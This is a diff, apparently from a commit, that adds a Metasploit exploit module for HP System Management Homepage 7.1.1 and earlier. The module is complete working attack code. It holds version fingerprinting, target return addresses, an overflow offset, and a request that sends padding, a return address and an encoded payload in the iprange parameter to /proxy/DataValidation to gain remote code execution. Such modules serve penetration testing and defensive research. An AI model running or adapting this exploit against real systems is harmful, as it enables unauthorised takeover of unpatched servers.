|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] } |
| 14 | + |
| 15 | + include Msf::Exploit::Remote::HttpClient |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'HP System Management Anonymous Access Code Execution', |
| 20 | + 'Description' => %q{ |
| 21 | + This module exploits an anonymous remote code execution on HP System Management |
| 22 | + 7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on |
| 23 | + a request against /proxy/DataValidation. In order to work HP System Management must |
| 24 | + be configured with Anonymous access enabled. |
| 25 | + }, |
| 26 | + 'Author' => [ 'agix' ], # @agixid |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Payload' => |
| 29 | + { |
| 30 | + 'DisableNops' => true, |
| 31 | + 'Space' => 1000, |
| 32 | + 'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20", |
| 33 | + 'EncoderOptions' => |
| 34 | + { |
| 35 | + 'BufferRegister' => 'ESP' # See the comments below |
| 36 | + } |
| 37 | + }, |
| 38 | + 'Platform' => ['linux'], |
| 39 | + 'Arch' => ARCH_X86, |
| 40 | + 'References' => |
| 41 | + [ |
| 42 | + #['URL', 'http://bit.ly/YhjikT'], |
| 43 | + #['OSVDB', 'http://bit.ly/YhjikT'] |
| 44 | + ], |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + [ 'HP System Management 7.1.1 - Linux (CentOS)', |
| 48 | + { |
| 49 | + 'Ret' => 0x8054e14, # push esp / ret |
| 50 | + 'Offset' => 267 |
| 51 | + } |
| 52 | + ], |
| 53 | + [ 'HP System Management 6.3.0 - Linux (CentOS)', |
| 54 | + { |
| 55 | + 'Ret' => 0x805a547, # push esp / ret |
| 56 | + 'Offset' => 267 |
| 57 | + } |
| 58 | + ] |
| 59 | + ], |
| 60 | + 'DisclosureDate' => 'Sep 01 2012', |
| 61 | + 'DefaultTarget' => 0)) |
| 62 | + |
| 63 | + register_options( |
| 64 | + [ |
| 65 | + Opt::RPORT(2381), |
| 66 | + OptBool.new('SSL', [true, 'Use SSL', true]) |
| 67 | + ], self.class) |
| 68 | + |
| 69 | + end |
| 70 | + |
| 71 | + def check |
| 72 | + res = send_request_cgi({ |
| 73 | + 'method' => 'GET', |
| 74 | + 'uri' => "/cpqlogin.htm" |
| 75 | + }) |
| 76 | + |
| 77 | + if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/ |
| 78 | + version = $1 |
| 79 | + return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1" |
| 80 | + end |
| 81 | + |
| 82 | + return Exploit::CheckCode::Safe |
| 83 | + end |
| 84 | + |
| 85 | + def exploit |
| 86 | + |
| 87 | + padding = rand_text_alpha(target['Offset']) |
| 88 | + ret = [target['Ret']].pack('V') |
| 89 | + iprange = "a-bz"+padding+ret+payload.encoded |
| 90 | + |
| 91 | + print_status("#{rhost}:#{rport} - Sending exploit...") |
| 92 | + |
| 93 | + res = send_request_cgi({ |
| 94 | + 'method' => 'GET', |
| 95 | + 'uri' => "/proxy/DataValidation", |
| 96 | + 'encode_params' => false, |
| 97 | + 'vars_get' => { |
| 98 | + 'iprange' => iprange |
| 99 | + } |
| 100 | + }) |
| 101 | + |
| 102 | + end |
| 103 | + |
| 104 | +end |
0 commit comments